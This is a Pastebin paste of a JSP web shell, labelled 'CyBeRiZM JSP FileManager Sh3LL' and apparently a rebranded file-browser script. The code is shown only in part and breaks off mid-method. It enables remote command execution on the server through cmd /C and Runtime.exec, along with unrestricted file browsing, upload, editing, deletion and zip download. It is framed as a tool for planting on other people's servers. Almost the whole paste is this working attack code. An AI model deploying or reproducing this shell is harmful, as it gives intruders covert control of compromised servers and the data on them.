Advertisement
KingSkrupellos

CyBeRiZM JSP FileManager Sh3LL Script

Nov 30th, 2017
261
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 73.70 KB | None | 0 0
  1. <%--
  2. CyBeRiZM KingSkrupellos jsp File browser Sh3LL1.2
  3. Copyright (C) 2003-2006 KingSkrupellos Cyberizm Digital Security Team
  4. This program is free software; you can redistribute it and/or modify it under
  5. the terms of the GNU General Public License as published by the
  6. Free Software Foundation; either version 2 of the License, or (at your option)
  7. any later version.
  8. This program is distributed in the hope that it will be useful, but
  9. WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
  10. FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
  11. You should have received a copy of the GNU General Public License along with
  12. this program; if not, write to the
  13. Free Software Foundation, Inc.,
  14. - Description: CyBeRiZM KingSkrupellos jsp File browser Sh3LL1.2 -- This JSP program allows remote web-based
  15. file access and manipulation. You can copy, create, move and delete files.
  16. Text files can be edited and groups of files and folders can be downloaded
  17. as a single zip file that's created on the fly.
  18. - Credits: KingSkrupellos - Cyberizm Digital Security Technological Turkish Moslem Army
  19. --%>
  20. <%@page import="java.util.*,
  21. java.net.*,
  22. java.text.*,
  23. java.util.zip.*,
  24. java.io.*"
  25. %>
  26. <%!
  27. //FEATURES
  28. private static final boolean NATIVE_COMMANDS = true;
  29. /**
  30. *If true, all operations (besides upload and native commands)
  31. *which change something on the file system are permitted
  32. */
  33. private static final boolean READ_ONLY = false;
  34. //If true, uploads are allowed even if READ_ONLY = true
  35. private static final boolean ALLOW_UPLOAD = true;
  36.  
  37. //Allow browsing and file manipulation only in certain directories
  38. private static final boolean RESTRICT_BROWSING = false;
  39. //If true, the user is allowed to browse only in RESTRICT_PATH,
  40. //if false, the user is allowed to browse all directories besides RESTRICT_PATH
  41. private static final boolean RESTRICT_WHITELIST = false;
  42. //Paths, sperated by semicolon
  43. //private static final String RESTRICT_PATH = "C:\\CODE;E:\\"; //Win32: Case important!!
  44. private static final String RESTRICT_PATH = "/etc;/var";
  45.  
  46. //The refresh time in seconds of the upload monitor window
  47. private static final int UPLOAD_MONITOR_REFRESH = 2;
  48. //The number of colums for the edit field
  49. private static final int EDITFIELD_COLS = 85;
  50. //The number of rows for the edit field
  51. private static final int EDITFIELD_ROWS = 30;
  52. //Open a new window to view a file
  53. private static final boolean USE_POPUP = true;
  54. /**
  55. * If USE_DIR_PREVIEW = true, then for every directory a tooltip will be
  56. * created (hold the mouse over the link) with the first DIR_PREVIEW_NUMBER entries.
  57. * This can yield to performance issues. Turn it off, if the directory loads to slow.
  58. */
  59. private static final boolean USE_DIR_PREVIEW = false;
  60. private static final int DIR_PREVIEW_NUMBER = 10;
  61. /**
  62. * The name of an optional CSS Stylesheet file
  63. */
  64. private static final String CSS_NAME = "Browser.css";
  65. /**
  66. * The compression level for zip file creation (0-9)
  67. * 0 = No compression
  68. * 1 = Standard compression (Very fast)
  69. * ...
  70. * 9 = Best compression (Very slow)
  71. */
  72. private static final int COMPRESSION_LEVEL = 1;
  73. /**
  74. * The FORBIDDEN_DRIVES are not displayed on the list. This can be usefull, if the
  75. * server runs on a windows platform, to avoid a message box, if you try to access
  76. * an empty removable drive (See KNOWN BUGS in Readme.txt).
  77. */
  78. private static final String[] FORBIDDEN_DRIVES = {"a:\\"};
  79.  
  80. /**
  81. * Command of the shell interpreter and the parameter to run a programm
  82. */
  83. private static final String[] COMMAND_INTERPRETER = {"cmd", "/C"}; // Dos,Windows
  84. //private static final String[] COMMAND_INTERPRETER = {"/bin/sh","-c"}; // Unix
  85.  
  86. /**
  87. * Max time in ms a process is allowed to run, before it will be terminated
  88. */
  89. private static final long MAX_PROCESS_RUNNING_TIME = 30 * 1000; //30 seconds
  90.  
  91. //Button names
  92. private static final String SAVE_AS_ZIP = "Download selected files as (z)ip";
  93. private static final String RENAME_FILE = "(R)ename File";
  94. private static final String DELETE_FILES = "(Del)ete selected files";
  95. private static final String CREATE_DIR = "Create (D)ir";
  96. private static final String CREATE_FILE = "(C)reate File";
  97. private static final String MOVE_FILES = "(M)ove Files";
  98. private static final String COPY_FILES = "Cop(y) Files";
  99. private static final String LAUNCH_COMMAND = "(L)aunch external program";
  100. private static final String UPLOAD_FILES = "Upload";
  101.  
  102. //Normally you should not change anything after this line
  103. //----------------------------------------------------------------------------------
  104. //Change this to locate the tempfile directory for upload (not longer needed)
  105. private static String tempdir = ".";
  106. private static String VERSION_NR = "1.2";
  107. private static DateFormat dateFormat = DateFormat.getDateTimeInstance();
  108.  
  109. public class UplInfo {
  110.  
  111. public long totalSize;
  112. public long currSize;
  113. public long starttime;
  114. public boolean aborted;
  115.  
  116. public UplInfo() {
  117. totalSize = 0l;
  118. currSize = 0l;
  119. starttime = System.currentTimeMillis();
  120. aborted = false;
  121. }
  122.  
  123. public UplInfo(int size) {
  124. totalSize = size;
  125. currSize = 0;
  126. starttime = System.currentTimeMillis();
  127. aborted = false;
  128. }
  129.  
  130. public String getUprate() {
  131. long time = System.currentTimeMillis() - starttime;
  132. if (time != 0) {
  133. long uprate = currSize * 1000 / time;
  134. return convertFileSize(uprate) + "/s";
  135. }
  136. else return "n/a";
  137. }
  138.  
  139. public int getPercent() {
  140. if (totalSize == 0) return 0;
  141. else return (int) (currSize * 100 / totalSize);
  142. }
  143.  
  144. public String getTimeElapsed() {
  145. long time = (System.currentTimeMillis() - starttime) / 1000l;
  146. if (time - 60l >= 0){
  147. if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
  148. else return time / 60 + ":0" + (time % 60) + "m";
  149. }
  150. else return time<10 ? "0" + time + "s": time + "s";
  151. }
  152.  
  153. public String getTimeEstimated() {
  154. if (currSize == 0) return "n/a";
  155. long time = System.currentTimeMillis() - starttime;
  156. time = totalSize * time / currSize;
  157. time /= 1000l;
  158. if (time - 60l >= 0){
  159. if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
  160. else return time / 60 + ":0" + (time % 60) + "m";
  161. }
  162. else return time<10 ? "0" + time + "s": time + "s";
  163. }
  164.  
  165. }
  166.  
  167. public class FileInfo {
  168.  
  169. public String name = null, clientFileName = null, fileContentType = null;
  170. private byte[] fileContents = null;
  171. public File file = null;
  172. public StringBuffer sb = new StringBuffer(100);
  173.  
  174. public void setFileContents(byte[] aByteArray) {
  175. fileContents = new byte[aByteArray.length];
  176. System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
  177. }
  178. }
  179.  
  180. public static class UploadMonitor {
  181.  
  182. static Hashtable uploadTable = new Hashtable();
  183.  
  184. static void set(String fName, UplInfo info) {
  185. uploadTable.put(fName, info);
  186. }
  187.  
  188. static void remove(String fName) {
  189. uploadTable.remove(fName);
  190. }
  191.  
  192. static UplInfo getInfo(String fName) {
  193. UplInfo info = (UplInfo) uploadTable.get(fName);
  194. return info;
  195. }
  196. }
  197.  
  198. // A Class with methods used to process a ServletInputStream
  199. public class HttpMultiPartParser {
  200.  
  201. //private final String lineSeparator = System.getProperty("line.separator", "\n");
  202. private final int ONE_MB = 1024 * 1;
  203.  
  204. public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
  205. int clength) throws IllegalArgumentException, IOException {
  206. if (is == null) throw new IllegalArgumentException("InputStream");
  207. if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
  208. "\"" + boundary + "\" is an illegal boundary indicator");
  209. boundary = "--" + boundary;
  210. StringTokenizer stLine = null, stFields = null;
  211. FileInfo fileInfo = null;
  212. Hashtable dataTable = new Hashtable(5);
  213. String line = null, field = null, paramName = null;
  214. boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
  215. boolean isFile = false;
  216. if (saveFiles) { // Create the required directory (including parent dirs)
  217. File f = new File(saveInDir);
  218. f.mkdirs();
  219. }
  220. line = getLine(is);
  221. if (line == null || !line.startsWith(boundary)) throw new IOException(
  222. "Boundary not found; boundary = " + boundary + ", line = " + line);
  223. while (line != null) {
  224. if (line == null || !line.startsWith(boundary)) return dataTable;
  225. line = getLine(is);
  226. if (line == null) return dataTable;
  227. stLine = new StringTokenizer(line, ";\r\n");
  228. if (stLine.countTokens() < 2) throw new IllegalArgumentException(
  229. "Bad data in second line");
  230. line = stLine.nextToken().toLowerCase();
  231. if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
  232. "Bad data in second line");
  233. stFields = new StringTokenizer(stLine.nextToken(), "=\"");
  234. if (stFields.countTokens() < 2) throw new IllegalArgumentException(
  235. "Bad data in second line");
  236. fileInfo = new FileInfo();
  237. stFields.nextToken();
  238. paramName = stFields.nextToken();
  239. isFile = false;
  240. if (stLine.hasMoreTokens()) {
  241. field = stLine.nextToken();
  242. stFields = new StringTokenizer(field, "=\"");
  243. if (stFields.countTokens() > 1) {
  244. if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
  245. fileInfo.name = paramName;
  246. String value = stFields.nextToken();
  247. if (value != null && value.trim().length() > 0) {
  248. fileInfo.clientFileName = value;
  249. isFile = true;
  250. }
  251. else {
  252. line = getLine(is); // Skip "Content-Type:" line
  253. line = getLine(is); // Skip blank line
  254. line = getLine(is); // Skip blank line
  255. line = getLine(is); // Position to boundary line
  256. continue;
  257. }
  258. }
  259. }
  260. else if (field.toLowerCase().indexOf("filename") >= 0) {
  261. line = getLine(is); // Skip "Content-Type:" line
  262. line = getLine(is); // Skip blank line
  263. line = getLine(is); // Skip blank line
  264. line = getLine(is); // Position to boundary line
  265. continue;
  266. }
  267. }
  268. boolean skipBlankLine = true;
  269. if (isFile) {
  270. line = getLine(is);
  271. if (line == null) return dataTable;
  272. if (line.trim().length() < 1) skipBlankLine = false;
  273. else {
  274. stLine = new StringTokenizer(line, ": ");
  275. if (stLine.countTokens() < 2) throw new IllegalArgumentException(
  276. "Bad data in third line");
  277. stLine.nextToken(); // Content-Type
  278. fileInfo.fileContentType = stLine.nextToken();
  279. }
  280. }
  281. if (skipBlankLine) {
  282. line = getLine(is);
  283. if (line == null) return dataTable;
  284. }
  285. if (!isFile) {
  286. line = getLine(is);
  287. if (line == null) return dataTable;
  288. dataTable.put(paramName, line);
  289. // If parameter is dir, change saveInDir to dir
  290. if (paramName.equals("dir")) saveInDir = line;
  291. line = getLine(is);
  292. continue;
  293. }
  294. try {
  295. UplInfo uplInfo = new UplInfo(clength);
  296. UploadMonitor.set(fileInfo.clientFileName, uplInfo);
  297. OutputStream os = null;
  298. String path = null;
  299. if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
  300. fileInfo.clientFileName));
  301. else os = new ByteArrayOutputStream(ONE_MB);
  302. boolean readingContent = true;
  303. byte previousLine[] = new byte[2 * ONE_MB];
  304. byte temp[] = null;
  305. byte currentLine[] = new byte[2 * ONE_MB];
  306. int read, read3;
  307. if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
  308. line = null;
  309. break;
  310. }
  311. while (readingContent) {
  312. if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
  313. line = null;
  314. uplInfo.aborted = true;
  315. break;
  316. }
  317. if (compareBoundary(boundary, currentLine)) {
  318. os.write(previousLine, 0, read - 2);
  319. line = new String(currentLine, 0, read3);
  320. break;
  321. }
  322. else {
  323. os.write(previousLine, 0, read);
  324. uplInfo.currSize += read;
  325. temp = currentLine;
  326. currentLine = previousLine;
  327. previousLine = temp;
  328. read = read3;
  329. }//end else
  330. }//end while
  331. os.flush();
  332. os.close();
  333. if (!saveFiles) {
  334. ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
  335. fileInfo.setFileContents(baos.toByteArray());
  336. }
  337. else fileInfo.file = new File(path);
  338. dataTable.put(paramName, fileInfo);
  339. uplInfo.currSize = uplInfo.totalSize;
  340. }//end try
  341. catch (IOException e) {
  342. throw e;
  343. }
  344. }
  345. return dataTable;
  346. }
  347.  
  348. /**
  349. * Compares boundary string to byte array
  350. */
  351. private boolean compareBoundary(String boundary, byte ba[]) {
  352. if (boundary == null || ba == null) return false;
  353. for (int i = 0; i < boundary.length(); i++)
  354. if ((byte) boundary.charAt(i) != ba[i]) return false;
  355. return true;
  356. }
  357.  
  358. /** Convenience method to read HTTP header lines */
  359. private synchronized String getLine(ServletInputStream sis) throws IOException {
  360. byte b[] = new byte[1024];
  361. int read = sis.readLine(b, 0, b.length), index;
  362. String line = null;
  363. if (read != -1) {
  364. line = new String(b, 0, read);
  365. if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
  366. }
  367. return line;
  368. }
  369.  
  370. public String getFileName(String dir, String fileName) throws IllegalArgumentException {
  371. String path = null;
  372. if (dir == null || fileName == null) throw new IllegalArgumentException(
  373. "dir or fileName is null");
  374. int index = fileName.lastIndexOf('/');
  375. String name = null;
  376. if (index >= 0) name = fileName.substring(index + 1);
  377. else name = fileName;
  378. index = name.lastIndexOf('\\');
  379. if (index >= 0) fileName = name.substring(index + 1);
  380. path = dir + File.separator + fileName;
  381. if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
  382. else return path.replace('/', File.separatorChar);
  383. }
  384. } //End of class HttpMultiPartParser
  385.  
  386. /**
  387. * This class is a comparator to sort the filenames and dirs
  388. */
  389. class FileComp implements Comparator {
  390.  
  391. int mode;
  392. int sign;
  393.  
  394. FileComp() {
  395. this.mode = 1;
  396. this.sign = 1;
  397. }
  398.  
  399. /**
  400. * @param mode sort by 1=Filename, 2=Size, 3=Date, 4=Type
  401. * The default sorting method is by Name
  402. * Negative mode means descending sort
  403. */
  404. FileComp(int mode) {
  405. if (mode < 0) {
  406. this.mode = -mode;
  407. sign = -1;
  408. }
  409. else {
  410. this.mode = mode;
  411. this.sign = 1;
  412. }
  413. }
  414.  
  415. public int compare(Object o1, Object o2) {
  416. File f1 = (File) o1;
  417. File f2 = (File) o2;
  418. if (f1.isDirectory()) {
  419. if (f2.isDirectory()) {
  420. switch (mode) {
  421. //Filename or Type
  422. case 1:
  423. case 4:
  424. return sign
  425. * f1.getAbsolutePath().toUpperCase().compareTo(
  426. f2.getAbsolutePath().toUpperCase());
  427. //Filesize
  428. case 2:
  429. return sign * (new Long(f1.length()).compareTo(new Long(f2.length())));
  430. //Date
  431. case 3:
  432. return sign
  433. * (new Long(f1.lastModified())
  434. .compareTo(new Long(f2.lastModified())));
  435. default:
  436. return 1;
  437. }
  438. }
  439. else return -1;
  440. }
  441. else if (f2.isDirectory()) return 1;
  442. else {
  443. switch (mode) {
  444. case 1:
  445. return sign
  446. * f1.getAbsolutePath().toUpperCase().compareTo(
  447. f2.getAbsolutePath().toUpperCase());
  448. case 2:
  449. return sign * (new Long(f1.length()).compareTo(new Long(f2.length())));
  450. case 3:
  451. return sign
  452. * (new Long(f1.lastModified()).compareTo(new Long(f2.lastModified())));
  453. case 4: { // Sort by extension
  454. int tempIndexf1 = f1.getAbsolutePath().lastIndexOf('.');
  455. int tempIndexf2 = f2.getAbsolutePath().lastIndexOf('.');
  456. if ((tempIndexf1 == -1) && (tempIndexf2 == -1)) { // Neither have an extension
  457. return sign
  458. * f1.getAbsolutePath().toUpperCase().compareTo(
  459. f2.getAbsolutePath().toUpperCase());
  460. }
  461. // f1 has no extension
  462. else if (tempIndexf1 == -1) return -sign;
  463. // f2 has no extension
  464. else if (tempIndexf2 == -1) return sign;
  465. // Both have an extension
  466. else {
  467. String tempEndf1 = f1.getAbsolutePath().toUpperCase()
  468. .substring(tempIndexf1);
  469. String tempEndf2 = f2.getAbsolutePath().toUpperCase()
  470. .substring(tempIndexf2);
  471. return sign * tempEndf1.compareTo(tempEndf2);
  472. }
  473. }
  474. default:
  475. return 1;
  476. }
  477. }
  478. }
  479. }
  480.  
  481. /**
  482. * Wrapperclass to wrap an OutputStream around a Writer
  483. */
  484. class Writer2Stream extends OutputStream {
  485.  
  486. Writer out;
  487.  
  488. Writer2Stream(Writer w) {
  489. super();
  490. out = w;
  491. }
  492.  
  493. public void write(int i) throws IOException {
  494. out.write(i);
  495. }
  496.  
  497. public void write(byte[] b) throws IOException {
  498. for (int i = 0; i < b.length; i++) {
  499. int n = b[i];
  500. //Convert byte to ubyte
  501. n = ((n >>> 4) & 0xF) * 16 + (n & 0xF);
  502. out.write(n);
  503. }
  504. }
  505.  
  506. public void write(byte[] b, int off, int len) throws IOException {
  507. for (int i = off; i < off + len; i++) {
  508. int n = b[i];
  509. n = ((n >>> 4) & 0xF) * 16 + (n & 0xF);
  510. out.write(n);
  511. }
  512. }
  513. } //End of class Writer2Stream
  514.  
  515. static Vector expandFileList(String[] files, boolean inclDirs) {
  516. Vector v = new Vector();
  517. if (files == null) return v;
  518. for (int i = 0; i < files.length; i++)
  519. v.add(new File(URLDecoder.decode(files[i])));
  520. for (int i = 0; i < v.size(); i++) {
  521. File f = (File) v.get(i);
  522. if (f.isDirectory()) {
  523. File[] fs = f.listFiles();
  524. for (int n = 0; n < fs.length; n++)
  525. v.add(fs[n]);
  526. if (!inclDirs) {
  527. v.remove(i);
  528. i--;
  529. }
  530. }
  531. }
  532. return v;
  533. }
  534.  
  535. /**
  536. * Method to build an absolute path
  537. * @param dir the root dir
  538. * @param name the name of the new directory
  539. * @return if name is an absolute directory, returns name, else returns dir+name
  540. */
  541. static String getDir(String dir, String name) {
  542. if (!dir.endsWith(File.separator)) dir = dir + File.separator;
  543. File mv = new File(name);
  544. String new_dir = null;
  545. if (!mv.isAbsolute()) {
  546. new_dir = dir + name;
  547. }
  548. else new_dir = name;
  549. return new_dir;
  550. }
  551.  
  552. /**
  553. * This Method converts a byte size in a kbytes or Mbytes size, depending on the size
  554. * @param size The size in bytes
  555. * @return String with size and unit
  556. */
  557. static String convertFileSize(long size) {
  558. int divisor = 1;
  559. String unit = "bytes";
  560. if (size >= 1024 * 1024) {
  561. divisor = 1024 * 1024;
  562. unit = "MB";
  563. }
  564. else if (size >= 1024) {
  565. divisor = 1024;
  566. unit = "KB";
  567. }
  568. if (divisor == 1) return size / divisor + " " + unit;
  569. String aftercomma = "" + 100 * (size % divisor) / divisor;
  570. if (aftercomma.length() == 1) aftercomma = "0" + aftercomma;
  571. return size / divisor + "." + aftercomma + " " + unit;
  572. }
  573.  
  574. /**
  575. * Copies all data from in to out
  576. * @param in the input stream
  577. * @param out the output stream
  578. * @param buffer copy buffer
  579. */
  580. static void copyStreams(InputStream in, OutputStream out, byte[] buffer) throws IOException {
  581. copyStreamsWithoutClose(in, out, buffer);
  582. in.close();
  583. out.close();
  584. }
  585.  
  586. /**
  587. * Copies all data from in to out
  588. * @param in the input stream
  589. * @param out the output stream
  590. * @param buffer copy buffer
  591. */
  592. static void copyStreamsWithoutClose(InputStream in, OutputStream out, byte[] buffer)
  593. throws IOException {
  594. int b;
  595. while ((b = in.read(buffer)) != -1)
  596. out.write(buffer, 0, b);
  597. }
  598.  
  599. /**
  600. * Returns the Mime Type of the file, depending on the extension of the filename
  601. */
  602. static String getMimeType(String fName) {
  603. fName = fName.toLowerCase();
  604. if (fName.endsWith(".jpg") || fName.endsWith(".jpeg") || fName.endsWith(".jpe")) return "image/jpeg";
  605. else if (fName.endsWith(".gif")) return "image/gif";
  606. else if (fName.endsWith(".pdf")) return "application/pdf";
  607. else if (fName.endsWith(".htm") || fName.endsWith(".html") || fName.endsWith(".shtml")) return "text/html";
  608. else if (fName.endsWith(".avi")) return "video/x-msvideo";
  609. else if (fName.endsWith(".mov") || fName.endsWith(".qt")) return "video/quicktime";
  610. else if (fName.endsWith(".mpg") || fName.endsWith(".mpeg") || fName.endsWith(".mpe")) return "video/mpeg";
  611. else if (fName.endsWith(".zip")) return "application/zip";
  612. else if (fName.endsWith(".tiff") || fName.endsWith(".tif")) return "image/tiff";
  613. else if (fName.endsWith(".rtf")) return "application/rtf";
  614. else if (fName.endsWith(".mid") || fName.endsWith(".midi")) return "audio/x-midi";
  615. else if (fName.endsWith(".xl") || fName.endsWith(".xls") || fName.endsWith(".xlv")
  616. || fName.endsWith(".xla") || fName.endsWith(".xlb") || fName.endsWith(".xlt")
  617. || fName.endsWith(".xlm") || fName.endsWith(".xlk")) return "application/excel";
  618. else if (fName.endsWith(".doc") || fName.endsWith(".dot")) return "application/msword";
  619. else if (fName.endsWith(".png")) return "image/png";
  620. else if (fName.endsWith(".xml")) return "text/xml";
  621. else if (fName.endsWith(".svg")) return "image/svg+xml";
  622. else if (fName.endsWith(".mp3")) return "audio/mp3";
  623. else if (fName.endsWith(".ogg")) return "audio/ogg";
  624. else return "text/plain";
  625. }
  626.  
  627. /**
  628. * Converts some important chars (int) to the corresponding html string
  629. */
  630. static String conv2Html(int i) {
  631. if (i == '&') return "&amp;";
  632. else if (i == '<') return "&lt;";
  633. else if (i == '>') return "&gt;";
  634. else if (i == '"') return "&quot;";
  635. else return "" + (char) i;
  636. }
  637.  
  638. /**
  639. * Converts a normal string to a html conform string
  640. */
  641. static String conv2Html(String st) {
  642. StringBuffer buf = new StringBuffer();
  643. for (int i = 0; i < st.length(); i++) {
  644. buf.append(conv2Html(st.charAt(i)));
  645. }
  646. return buf.toString();
  647. }
  648.  
  649. /**
  650. * Starts a native process on the server
  651. * @param command the command to start the process
  652. * @param dir the dir in which the process starts
  653. */
  654. static String startProcess(String command, String dir) throws IOException {
  655. StringBuffer ret = new StringBuffer();
  656. String[] comm = new String[3];
  657. comm[0] = COMMAND_INTERPRETER[0];
  658. comm[1] = COMMAND_INTERPRETER[1];
  659. comm[2] = command;
  660. long start = System.currentTimeMillis();
  661. try {
  662. //Start process
  663. Process ls_proc = Runtime.getRuntime().exec(comm, null, new File(dir));
  664. //Get input and error streams
  665. BufferedInputStream ls_in = new BufferedInputStream(ls_proc.getInputStream());
  666. BufferedInputStream ls_err = new BufferedInputStream(ls_proc.getErrorStream());
  667. boolean end = false;
  668. while (!end) {
  669. int c = 0;
  670. while ((ls_err.available() > 0) && (++c <= 1000)) {
  671. ret.append(conv2Html(ls_err.read()));
  672. }
  673. c = 0;
  674. while ((ls_in.available() > 0) && (++c <= 1000)) {
  675. ret.append(conv2Html(ls_in.read()));
  676. }
  677. try {
  678. ls_proc.exitValue();
  679. //if the process has not finished, an exception is thrown
  680. //else
  681. while (ls_err.available() > 0)
  682. ret.append(conv2Html(ls_err.read()));
  683. while (ls_in.available() > 0)
  684. ret.append(conv2Html(ls_in.read()));
  685. end = true;
  686. }
  687. catch (IllegalThreadStateException ex) {
  688. //Process is running
  689. }
  690. //The process is not allowed to run longer than given time.
  691. if (System.currentTimeMillis() - start > MAX_PROCESS_RUNNING_TIME) {
  692. ls_proc.destroy();
  693. end = true;
  694. ret.append("!!!! Process has timed out, destroyed !!!!!");
  695. }
  696. try {
  697. Thread.sleep(50);
  698. }
  699. catch (InterruptedException ie) {}
  700. }
  701. }
  702. catch (IOException e) {
  703. ret.append("Error: " + e);
  704. }
  705. return ret.toString();
  706. }
  707.  
  708. /**
  709. * Converts a dir string to a linked dir string
  710. * @param dir the directory string (e.g. /usr/local/httpd)
  711. * @param browserLink web-path to Browser.jsp
  712. */
  713. static String dir2linkdir(String dir, String browserLink, int sortMode) {
  714. File f = new File(dir);
  715. StringBuffer buf = new StringBuffer();
  716. while (f.getParentFile() != null) {
  717. if (f.canRead()) {
  718. String encPath = URLEncoder.encode(f.getAbsolutePath());
  719. buf.insert(0, "<a href=\"" + browserLink + "?sort=" + sortMode + "&amp;dir="
  720. + encPath + "\">" + conv2Html(f.getName()) + File.separator + "</a>");
  721. }
  722. else buf.insert(0, conv2Html(f.getName()) + File.separator);
  723. f = f.getParentFile();
  724. }
  725. if (f.canRead()) {
  726. String encPath = URLEncoder.encode(f.getAbsolutePath());
  727. buf.insert(0, "<a href=\"" + browserLink + "?sort=" + sortMode + "&amp;dir=" + encPath
  728. + "\">" + conv2Html(f.getAbsolutePath()) + "</a>");
  729. }
  730. else buf.insert(0, f.getAbsolutePath());
  731. return buf.toString();
  732. }
  733.  
  734. /**
  735. * Returns true if the given filename tends towards a packed file
  736. */
  737. static boolean isPacked(String name, boolean gz) {
  738. return (name.toLowerCase().endsWith(".zip") || name.toLowerCase().endsWith(".jar")
  739. || (gz && name.toLowerCase().endsWith(".gz")) || name.toLowerCase()
  740. .endsWith(".war"));
  741. }
  742.  
  743. /**
  744. * If RESTRICT_BROWSING = true this method checks, whether the path is allowed or not
  745. */
  746. static boolean isAllowed(File path, boolean write) throws IOException{
  747. if (READ_ONLY && write) return false;
  748. if (RESTRICT_BROWSING) {
  749. StringTokenizer stk = new StringTokenizer(RESTRICT_PATH, ";");
  750. while (stk.hasMoreTokens()){
  751. if (path!=null && path.getCanonicalPath().startsWith(stk.nextToken()))
  752. return RESTRICT_WHITELIST;
  753. }
  754. return !RESTRICT_WHITELIST;
  755. }
  756. else return true;
  757. }
  758.  
  759. //---------------------------------------------------------------------------------------------------------------
  760.  
  761. %>
  762. <%
  763. //Get the current browsing directory
  764. request.setAttribute("dir", request.getParameter("dir"));
  765. // The browser_name variable is used to keep track of the URI
  766. // of the jsp file itself. It is used in all link-backs.
  767. final String browser_name = request.getRequestURI();
  768. final String FOL_IMG = "";
  769. boolean nohtml = false;
  770. boolean dir_view = true;
  771. //Get Javascript
  772. if (request.getParameter("Javascript") != null) {
  773. dir_view = false;
  774. nohtml = true;
  775. //Tell the browser that it should cache the javascript
  776. response.setHeader("Cache-Control", "public");
  777. Date now = new Date();
  778. SimpleDateFormat sdf = new SimpleDateFormat("EEE, d MMM yyyy HH:mm:ss z", Locale.US);
  779. response.setHeader("Expires", sdf.format(new Date(now.getTime() + 1000 * 60 * 60 * 24*2)));
  780. response.setHeader("Content-Type", "text/javascript");
  781. %>
  782. <%// This section contains the Javascript used for interface elements %>
  783. var check = false;
  784. <%// Disables the checkbox feature %>
  785. function dis(){check = true;}
  786.  
  787. var DOM = 0, MS = 0, OP = 0, b = 0;
  788. <%// Determine the browser type %>
  789. function CheckBrowser(){
  790. if (b == 0){
  791. if (window.opera) OP = 1;
  792. // Moz or Netscape
  793. if(document.getElementById) DOM = 1;
  794. // Micro$oft
  795. if(document.all && !OP) MS = 1;
  796. b = 1;
  797. }
  798. }
  799. <%// Allows the whole row to be selected %>
  800. function selrow (element, i){
  801. var erst;
  802. CheckBrowser();
  803. if ((OP==1)||(MS==1)) erst = element.firstChild.firstChild;
  804. else if (DOM==1) erst = element.firstChild.nextSibling.firstChild;
  805. <%// MouseIn %>
  806. if (i==0){
  807. if (erst.checked == true) element.className='mousechecked';
  808. else element.className='mousein';
  809. }
  810. <%// MouseOut %>
  811. else if (i==1){
  812. if (erst.checked == true) element.className='checked';
  813. else element.className='mouseout';
  814. }
  815. <% // MouseClick %>
  816. else if ((i==2)&&(!check)){
  817. if (erst.checked==true) element.className='mousein';
  818. else element.className='mousechecked';
  819. erst.click();
  820. }
  821. else check=false;
  822. }
  823. <%// Filter files and dirs in FileList%>
  824. function filter (begriff){
  825. var suche = begriff.value.toLowerCase();
  826. var table = document.getElementById("filetable");
  827. var ele;
  828. for (var r = 1; r < table.rows.length; r++){
  829. ele = table.rows[r].cells[1].innerHTML.replace(/<[^>]+>/g,"");
  830. if (ele.toLowerCase().indexOf(suche)>=0 )
  831. table.rows[r].style.display = '';
  832. else table.rows[r].style.display = 'none';
  833. }
  834. }
  835. <%//(De)select all checkboxes%>
  836. function AllFiles(){
  837. for(var x=0;x < document.FileList.elements.length;x++){
  838. var y = document.FileList.elements[x];
  839. var ytr = y.parentNode.parentNode;
  840. var check = document.FileList.selall.checked;
  841. if(y.name == 'selfile' && ytr.style.display != 'none'){
  842. if (y.disabled != true){
  843. y.checked = check;
  844. if (y.checked == true) ytr.className = 'checked';
  845. else ytr.className = 'mouseout';
  846. }
  847. }
  848. }
  849. }
  850.  
  851. function shortKeyHandler(_event){
  852. if (!_event) _event = window.event;
  853. if (_event.which) {
  854. keycode = _event.which;
  855. } else if (_event.keyCode) {
  856. keycode = _event.keyCode;
  857. }
  858. var t = document.getElementById("text_Dir");
  859. //z
  860. if (keycode == 122){
  861. document.getElementById("but_Zip").click();
  862. }
  863. //r, F2
  864. else if (keycode == 113 || keycode == 114){
  865. var path = prompt("Please enter new filename", "");
  866. if (path == null) return;
  867. t.value = path;
  868. document.getElementById("but_Ren").click();
  869. }
  870. //c
  871. else if (keycode == 99){
  872. var path = prompt("Please enter filename", "");
  873. if (path == null) return;
  874. t.value = path;
  875. document.getElementById("but_NFi").click();
  876. }
  877. //d
  878. else if (keycode == 100){
  879. var path = prompt("Please enter directory name", "");
  880. if (path == null) return;
  881. t.value = path;
  882. document.getElementById("but_NDi").click();
  883. }
  884. //m
  885. else if (keycode == 109){
  886. var path = prompt("Please enter move destination", "");
  887. if (path == null) return;
  888. t.value = path;
  889. document.getElementById("but_Mov").click();
  890. }
  891. //y
  892. else if (keycode == 121){
  893. var path = prompt("Please enter copy destination", "");
  894. if (path == null) return;
  895. t.value = path;
  896. document.getElementById("but_Cop").click();
  897. }
  898. //l
  899. else if (keycode == 108){
  900. document.getElementById("but_Lau").click();
  901. }
  902. //Del
  903. else if (keycode == 46){
  904. document.getElementById("but_Del").click();
  905. }
  906. }
  907.  
  908. function popUp(URL){
  909. fname = document.getElementsByName("myFile")[0].value;
  910. if (fname != "")
  911. window.open(URL+"?first&uplMonitor="+encodeURIComponent(fname),"","width=400,height=150,resizable=yes,depend=yes")
  912. }
  913.  
  914. document.onkeypress = shortKeyHandler;
  915. <% }
  916. // View file
  917. else if (request.getParameter("file") != null) {
  918. File f = new File(request.getParameter("file"));
  919. if (!isAllowed(f, false)) {
  920. request.setAttribute("dir", f.getParent());
  921. request.setAttribute("error", "You are not allowed to access "+f.getAbsolutePath());
  922. }
  923. else if (f.exists() && f.canRead()) {
  924. if (isPacked(f.getName(), false)) {
  925. //If zipFile, do nothing here
  926. }
  927. else{
